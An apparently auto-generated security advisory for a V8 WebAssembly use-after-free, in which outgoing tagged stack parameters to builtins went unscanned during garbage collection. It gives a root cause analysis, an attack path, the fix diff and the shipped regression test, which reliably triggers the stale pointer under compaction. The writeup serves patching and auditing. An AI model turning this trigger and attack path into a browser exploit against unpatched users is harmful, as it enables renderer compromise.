High chrome UAF 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper input validation in V8
DescriptionImproper input validation in V8
ComponentV8
Sub-componentWASM
Bug ClassUAF
Tracker574223268
Fix commit11a31ce52ce0 (v8/v8) +85/-4
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-27

Background

WasmFrame::Iterate()
The V8 garbage-collection stack-walker for WebAssembly frames (src/execution/frames.cc). During GC it must visit (report as roots) every tagged (object) pointer that lives in a Wasm frame — locals, spill slots, and any tagged outgoing parameters — so the GC can trace and relocate them.
Tagged outgoing stack parameters
When a function passes object (tagged) arguments to a callee on the stack (rather than in registers), those slots hold live heap pointers the GC must know about. On ia32, TFS builtins with ≥4 parameters (e.g. CallIndirectIC) pass tagged params on the stack.
StubFrame / builtin callee
A callee builtin’s StubFrame expects the caller frame to scan the outgoing stack parameters, because the parameters sit in the caller’s frame region at sp().
CallInterfaceDescriptor
Describes a builtin’s calling convention, including GetStackParameterCount() and flags such as kNoStackScan (which marks descriptors whose stack parameters must not be scanned) and AllowVarArgs().
Compacting GC / stress-compaction
A moving GC relocates live objects and rewrites pointers it finds via roots. A tagged pointer the GC fails to visit is neither kept alive nor updated, leaving a stale/dangling pointer after collection.

Root Cause Analysis

WasmFrame::Iterate() computed has_tagged_outgoing_params as true only for frames that are not kWasmFunction and not kWasmToCapiWrapper, and only then visited the outgoing stack parameters at sp(). For a kWasmFunction frame, it skipped outgoing-parameter scanning entirely, on the assumption that a Wasm function’s callee (another Wasm function, or WasmToJsWrapperCSA) scans its own incoming stack parameters. That assumption breaks when a Wasm function calls a builtin that takes tagged parameters on the stack (such as CallIndirectIC on ia32 with ≥4 params): the builtin’s StubFrame expects the caller — the Wasm frame — to scan those outgoing tagged slots, but WasmFrame::Iterate() did not. The violated invariant is the GC completeness invariant: every live tagged pointer on the stack must be visited exactly once during root scanning. Here, the tagged outgoing parameters (e.g. a WasmTrustedInstanceData or an argument passed into the IC) were not visited by either the caller frame or the callee builtin frame, so during a compacting GC they were neither kept alive nor relocated — leaving a stale pointer that is subsequently used.

The advisory labels this “Improper input validation in V8,” but the diff shows a GC root-scanning / stack-walking bug that produces a dangling tagged pointer — a use-after-free / memory-corruption class, not input validation; the discrepancy is noted. The fix restructures the if (!InFastCCall()) branch: it keeps the existing path for has_tagged_outgoing_params, and adds an else if for kWasmFunction frames with a non-null callee_pc(). It looks up the callee via OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc()); if it is a builtin, it fetches the CallInterfaceDescriptor, asserts no var-args, and — unless the descriptor has the kNoStackScan flag — visits GetStackParameterCount() tagged slots starting at sp(). A DCHECK_IMPLIES enforces that WasmToJsWrapperCSA has zero such stack params (that case remains handled by the callee). The regression test (regress-574223268.js, run under --stress-compaction) builds a call_indirect site, makes it monomorphic, then forces the monomorphic-miss FixedArray allocation inside CallIndirectIC to trigger a compacting GC while WasmTrustedInstanceData is on the stack — exactly reproducing the unscanned/unrelocated tagged parameter.

Key insight
WasmFrame::Iterate() never scanned the tagged outgoing stack parameters that a Wasm function passes to a builtin callee (neither frame did), so a compacting GC left those object pointers stale — a missing GC root causing a dangling tagged pointer.

Attack Path

  1. Craft module Script builds a Wasm module whose call site uses call_indirect to a signature whose lowering routes tagged parameters through a builtin that passes them on the stack (CallIndirectIC; on ia32 the ≥4-stack-param shape). (The PoC uses WasmModuleBuilder with a table and two targets.)
  2. Reach the IC path Compile both callees, make the indirect call site monomorphic on one target, then call a second target to force the IC’s monomorphic-miss handling (which allocates a FixedArray).
  3. Force compaction mid-call The miss-handler allocation triggers a (compacting) GC while the builtin is executing and the tagged outgoing parameters (e.g. WasmTrustedInstanceData) are live on the Wasm caller frame’s stack. (--stress-compaction / %SimulateNewspaceFull() in the PoC make this deterministic.)
  4. Stale pointer Because WasmFrame::Iterate() didn’t visit those slots, the GC neither keeps nor relocates the referenced object; the stack slot now points to moved/freed memory.
  5. Primitive Subsequent use of the stale tagged pointer (e.g. the instance data) after relocation/collection yields a use-after-free / type-confused object access in V8 — a strong, scriptable memory-corruption primitive (full exploit chain inferred).

Impact Assessment

This runs in the renderer process and is fully reachable from untrusted JavaScript+WebAssembly with no special privilege; the PoC is pure JS using WebAssembly. The diff substantiates a missing GC root for tagged outgoing Wasm→builtin stack parameters, which under a moving GC produces a dangling/stale object pointer — a memory-corruption/UAF primitive, far stronger than a crash. Preconditions are web-controllable: construct a module with the right indirect-call/builtin shape and provoke a compacting GC during the IC miss (allocation pressure), both achievable from script. The advisory’s “input validation” class understates and mislabels this; the code shows a GC-correctness bug. RCE via the resulting corruption is the realistic end goal but is inferred.

Changed Functions

FunctionChangeNotes
if
src/execution/frames.cc
modified
for
test/mjsunit/regress/wasm/regress-574223268.js
modified

Files Changed

  • test/mjsunit/regress/wasm/regress-574223268.js
  • src/execution/frames.cc
  • test/mjsunit/mjsunit.status

Audit Directions

  • Other frame iterators and outgoing-param scanning
    Review TypedFrame/StubFrame/builtin-continuation frame Iterate() implementations for the symmetric assumption that “the callee scans its incoming params,” especially where a frame can call a builtin with tagged stack parameters.
  • kNoStackScan / descriptor flags coverage
    Audit CallInterfaceDescriptors used as Wasm→builtin callees to confirm the kNoStackScan flag is set exactly on those whose stack slots must not be scanned, and that none mislabel tagged params as untagged.
  • ia32 / ≥4-stack-param builtins
    Enumerate TFS builtins that pass tagged parameters on the stack (platform-dependent, notably ia32) reachable from Wasm, and verify each has caller- or callee-side root scanning.
  • GC-during-IC allocation sites
    Look for other IC/allocation points reachable from Wasm that can trigger GC while tagged values sit in unscanned caller stack regions.
From 11a31ce52ce0b1b2b637929562ebbed8ea3dbb38 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Wed, 21 Oct 2026 14:00:02 +0000
Subject: [PATCH] [wasm] Scan outgoing stack parameters from Wasm to builtins

When a Wasm function calls a builtin that passes tagged parameters on
the stack (e.g. TFS builtins with >= 4 parameters on ia32 such as
CallIndirectIC), the callee's StubFrame expects the caller frame to
scan those outgoing stack parameters during GC. Previously,
WasmFrame::Iterate skipped outgoing parameters for kWasmFunction frames.

Check in WasmFrame::Iterate whether the callee is a builtin whose
CallInterfaceDescriptor allows stack scanning, and visit its
GetStackParameterCount() outgoing stack slots starting at sp().

TAG=agy
CONV=96b1f648-2589-484a-a505-7ed7a444bec1

Fixed: 574223268
Change-Id: Ie725f7e5bbf009434509e44c0ccfca428099403a
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8616353
Commit-Queue: Jakob Kummerow <[email protected]>
Auto-Submit: Jakob Kummerow <[email protected]>
Commit-Queue: Clemens Backes <[email protected]>
Reviewed-by: Clemens Backes <[email protected]>
Cr-Commit-Position: refs/heads/main@{#111022}
---
diff --git a/src/execution/frames.cc b/src/execution/frames.cc
index 7dadd16..f6f83cd 100644
--- a/src/execution/frames.cc
+++ b/src/execution/frames.cc
@@ -1912,10 +1912,35 @@
   bool has_tagged_outgoing_params =
       wasm_code->kind() != wasm::WasmCode::kWasmFunction &&
       wasm_code->kind() != wasm::WasmCode::kWasmToCapiWrapper;
-  if (!InFastCCall() && has_tagged_outgoing_params) {
-    FullObjectSlot parameters_base(&Memory<Address>(sp()));
-    v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
-                         parameters_limit);
+  if (!InFastCCall()) {
+    if (has_tagged_outgoing_params) {
+      FullObjectSlot parameters_base(&Memory<Address>(sp()));
+      v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
+                           parameters_limit);
+    } else if (wasm_code->kind() == wasm::WasmCode::kWasmFunction &&
+               callee_pc() != kNullAddress) {
+      // If a Wasm function calls a builtin with tagged stack parameters,
+      // visit those parameters. (Calls to other Wasm functions or to
+      // WasmToJsWrapperCSA have their tagged stack parameters visited by the
+      // callee frame instead.)
+      Builtin builtin =
+          OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc());
+      if (Builtins::IsBuiltinId(builtin)) {
+        CallInterfaceDescriptor descriptor =
+            Builtins::CallInterfaceDescriptorFor(builtin);
+        DCHECK(!descriptor.AllowVarArgs());
+        if (!(descriptor.flags() & CallInterfaceDescriptorData::kNoStackScan)) {
+          int stack_params = descriptor.GetStackParameterCount();
+          DCHECK_IMPLIES(builtin == Builtin::kWasmToJsWrapperCSA,
+                         stack_params == 0);
+          if (stack_params > 0) {
+            FullObjectSlot parameters_base(&Memory<Address>(sp()));
+            v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
+                                 parameters_base + stack_params);
+          }
+        }
+      }
+    }
   }
 
   // Visit pointer spill slots and locals.
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index af1b334..a2f5a8d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -3038,6 +3038,7 @@
   'regress/wasm/regress-543901836': [SKIP],
   'regress/wasm/regress-560536735': [SKIP],
   'regress/wasm/regress-561660149': [SKIP],
+  'regress/wasm/regress-574223268': [SKIP],
   'compiler/regress-347724915': [SKIP],
   'regress/regress-crbug-418520151': [SKIP],
   'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js
new file mode 100644
index 0000000..edbbaa7
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-574223268.js
@@ -0,0 +1,55 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stress-compaction
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function buildModule(numTargets, tableSize = numTargets) {
+  const builder = new WasmModuleBuilder();
+  builder.addMemory(1, 1);
+  const sig_v_v = builder.addType(kSig_v_v);
+  const sig_v_i = builder.addType(kSig_v_i);
+  const funcs = [];
+  for (let i = 0; i < numTargets; i++) {
+    const f = builder.addFunction('f' + i, sig_v_v)
+        .addBody([
+          kExprI32Const, 0,
+          kExprI32Const, 42 + i,
+          kExprI32StoreMem, 0, 0,
+        ])
+        .exportFunc();
+    funcs.push(f.index);
+  }
+  builder.addFunction('call', sig_v_i)
+      .addBody([
+        kExprLocalGet, 0,
+        kExprCallIndirect, sig_v_v, kTableZero,
+      ])
+      .exportFunc();
+  builder.setTableBounds(tableSize, tableSize);
+  builder.addActiveElementSegment(0, wasmI32Const(0), funcs);
+  return builder.toModule();
+}
+
+// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that
+// subsequent trusted objects land on movable pages.
+const filler = [];
+const fillerModule = buildModule(1, 2000);
+for (let i = 0; i < 64; i++) {
+  filler.push(new WebAssembly.Instance(fillerModule));
+}
+
+const targetModule = buildModule(2);
+const instance = new WebAssembly.Instance(targetModule);
+
+// Compile both callees up front.
+instance.exports.f0();
+instance.exports.f1();
+// Make the call site monomorphic on target 0.
+instance.exports.call(0);
+// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to
+// trigger a compacting GC while WasmTrustedInstanceData is on the stack.
+%SimulateNewspaceFull();
+instance.exports.call(1);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index af1b334..a2f5a8d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -3038,6 +3038,7 @@
   'regress/wasm/regress-543901836': [SKIP],
   'regress/wasm/regress-560536735': [SKIP],
   'regress/wasm/regress-561660149': [SKIP],
+  'regress/wasm/regress-574223268': [SKIP],
   'compiler/regress-347724915': [SKIP],
   'regress/regress-crbug-418520151': [SKIP],
   'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js
new file mode 100644
index 0000000..edbbaa7
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-574223268.js
@@ -0,0 +1,55 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stress-compaction
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function buildModule(numTargets, tableSize = numTargets) {
+  const builder = new WasmModuleBuilder();
+  builder.addMemory(1, 1);
+  const sig_v_v = builder.addType(kSig_v_v);
+  const sig_v_i = builder.addType(kSig_v_i);
+  const funcs = [];
+  for (let i = 0; i < numTargets; i++) {
+    const f = builder.addFunction('f' + i, sig_v_v)
+        .addBody([
+          kExprI32Const, 0,
+          kExprI32Const, 42 + i,
+          kExprI32StoreMem, 0, 0,
+        ])
+        .exportFunc();
+    funcs.push(f.index);
+  }
+  builder.addFunction('call', sig_v_i)
+      .addBody([
+        kExprLocalGet, 0,
+        kExprCallIndirect, sig_v_v, kTableZero,
+      ])
+      .exportFunc();
+  builder.setTableBounds(tableSize, tableSize);
+  builder.addActiveElementSegment(0, wasmI32Const(0), funcs);
+  return builder.toModule();
+}
+
+// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that
+// subsequent trusted objects land on movable pages.
+const filler = [];
+const fillerModule = buildModule(1, 2000);
+for (let i = 0; i < 64; i++) {
+  filler.push(new WebAssembly.Instance(fillerModule));
+}
+
+const targetModule = buildModule(2);
+const instance = new WebAssembly.Instance(targetModule);
+
+// Compile both callees up front.
+instance.exports.f0();
+instance.exports.f1();
+// Make the call site monomorphic on target 0.
+instance.exports.call(0);
+// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to
+// trigger a compacting GC while WasmTrustedInstanceData is on the stack.
+%SimulateNewspaceFull();
+instance.exports.call(1);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.